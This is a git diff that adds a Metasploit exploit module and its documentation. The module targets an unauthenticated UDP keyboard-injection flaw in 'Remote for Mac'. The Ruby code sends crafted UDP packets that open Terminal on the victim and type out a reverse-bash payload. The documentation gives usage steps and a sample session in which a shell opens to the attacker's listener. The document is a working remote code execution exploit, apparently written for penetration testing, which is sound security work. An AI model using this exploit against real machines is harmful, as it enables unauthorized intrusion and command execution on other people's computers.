diff --git a/documentation/modules/exploit/osx/misc/remote_for_mac_udp_rce.md b/documentation/modules/exploit/osx/misc/remote_for_mac_udp_rce.md new file mode 100644 index 0000000000000..fa3fd99278ce8 --- /dev/null +++ b/documentation/modules/exploit/osx/misc/remote_for_mac_udp_rce.md @@ -0,0 +1,43 @@ +## Vulnerable Application + +The Remote For Mac app is a remote control software that allows you to turn your iPhone or iPad into a wireless remote controller for Mac. +The versions up to 2025.7 are vulnerable to unauthenticated UDP control. +This allows an attacker to send a sequence of UDP packets to the target and simulate keyboard input, +leaving an option for remote code execution. +The app can be downloaded from [here](https://rs.ltd/). + + +## Verification Steps + +1. Install the application +1. Start msfconsole +1. Do: `use exploit/osx/misc/remote_for_mac_udp_rce` +1. Do: `set RPORT [HTTP port of Remote For Mac]` +1. Do: `set RHOST [target IP address]` +1. Do: `set LHOST [attacker IP]` +1. Do: `set LPORT [attacker port]` +1. Do: `run` + +## Options + +### RPORT + +The Remote For Mac spawn HTTPS server on semi-random port. +The HTTP server provides information about running version and whether the authentication is enabled. +The same port is also used for UDP protocol - this time, the port translated received packets into keyboard strokes. + +## Scenarios + +``` +msf6 exploit(osx/misc/remote_for_mac_udp_rce) > run verbose=true +[*] Started reverse TCP handler on 192.168.168.217:4444 +[*] Simulating system keyboard input to open Terminal... +[*] Initial sequence finished, waiting for terminal to be spawned.. +[*] Sending malicious payload to be executed... +[+] Payload sent. Awaiting session... +[*] Command shell session 3 opened (192.168.168.217:4444 -> 192.168.168.175:49197) at 2025-08-28 08:52:44 +0200 + +id +uid=501(ms) gid=20(staff) groups=20(staff),12(everyone),61(localaccounts),79(_appserverusr),80(admin),81(_appserveradm),98(_lpadmin),701(com.apple.sharepoint.group.1),33(_appstore),100(_lpoperator),204(_developer),250(_analyticsusers),395(com.apple.access_ftp),398(com.apple.access_screensharing),399(com.apple.access_ssh),400(com.apple.access_remote_ae) + +``` diff --git a/modules/exploits/osx/misc/remote_for_mac_udp_rce.rb b/modules/exploits/osx/misc/remote_for_mac_udp_rce.rb new file mode 100644 index 0000000000000..4f8e68c419587 --- /dev/null +++ b/modules/exploits/osx/misc/remote_for_mac_udp_rce.rb @@ -0,0 +1,132 @@ +## +# This module requires Metasploit: https://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +class MetasploitModule < Msf::Exploit::Remote + Rank = ExcellentRanking + + include Msf::Exploit::Remote::HttpClient + include Msf::Exploit::Remote::Udp + prepend Msf::Exploit::Remote::AutoCheck + + def initialize(info = {}) + super( + update_info( + info, + 'Name' => 'Remote for Mac 2025.6 Unauthenticated UDP Keyboard RCE', + 'Description' => %q{ + This module exploits an unauthenticated remote code execution vulnerability in Remote for Mac 2025.6. + When the "Allow unknown devices" setting is enabled, it is possible to simulate keyboard input via UDP packets + without authentication. By sending a sequence of key presses, an attacker can open the Terminal and execute + arbitrary shell commands, achieving code execution as the current user. + }, + 'Author' => ['Chokri Hammedi'], + 'License' => MSF_LICENSE, + 'References' => [ + ['PACKETSTORM', '196351'] + ], + 'Platform' => 'unix', + 'Arch' => ARCH_CMD, + 'Targets' => [ + [ + 'Unix Shell', { + 'Platform' => 'unix', + 'Arch' => ARCH_CMD + } + ] + ], + 'DefaultTarget' => 0, + 'DefaultOptions' => { + 'SSL' => true + }, + 'DefaultPayload' => 'cmd/unix/reverse_bash', + 'DisclosureDate' => '2025-05-27', + 'Notes' => { + 'Stability' => [CRASH_SAFE], + 'Reliability' => [REPEATABLE_SESSION], + 'SideEffects' => [IOC_IN_LOGS, SCREEN_EFFECTS] + } + ) + ) + end + + def check + res = send_request_cgi({ + 'method' => 'GET', + 'uri' => normalize_uri(target_uri.path, 'api', 'getVersion') + }) + + return CheckCode::Safe('Application might not be Remote For Mac') unless res&.code == 200 + + json_body = res.get_json_document + auth_enabled = json_body.fetch('requires.auth', nil) + + return CheckCode::Detected('Remote For Mac detected, but authentication enabled') unless auth_enabled.to_s == 'false' + + version = json_body.fetch('version').to_s + + return CheckCode::Unknown('Could not determine target version') if version.empty? + + target_version = Rex::Version.new(version) + vulnerable_version = Rex::Version.new('2025.7') + + return CheckCode::Appears("Detected vulnerable version #{version} with authentication disabled") if target_version <= vulnerable_version + + CheckCode::Safe("Target version #{version} is not vulnerable") + end + + def exploit + initial_packets_hex = [ + '07000200370001', + '07000200370001', + '060003002000', + '07000200370000', + '07000200370000' + ] + + final_packets_hex = [ + '07000200240001', + '07000200240000' + ] + + udp_sock = connect_udp + + print_status('Simulating system keyboard input to open Terminal...') + initial_packets_hex.each do |hexpkt| + udp_sock.put([hexpkt].pack('H*')) + select(nil, nil, nil, 0.05) + end + + prefix = [0x06, 0x00, 0x03, 0x00].pack('C*') + 'terminal'.each_char do |ch| + pkt = prefix + ch.encode('utf-16le').force_encoding('ASCII-8BIT') + udp_sock.put(pkt) + select(nil, nil, nil, 0.1) + end + + final_packets_hex.each do |hexpkt| + udp_sock.put([hexpkt].pack('H*')) + end + + print_status('Initial sequence finished, waiting for terminal to be spawned..') + + sleep(2) + + shell_cmd = payload.encoded + print_status('Sending malicious payload to be executed...') + + shell_cmd.each_char do |ch| + pkt = prefix + ch.encode('utf-16le').force_encoding('ASCII-8BIT') + udp_sock.put(pkt) + select(nil, nil, nil, 0.1) + end + + final_packets_hex.each do |hexpkt| + udp_sock.put([hexpkt].pack('H*')) + end + + print_good('Payload sent. Awaiting session...') + disconnect_udp(udp_sock) + end +end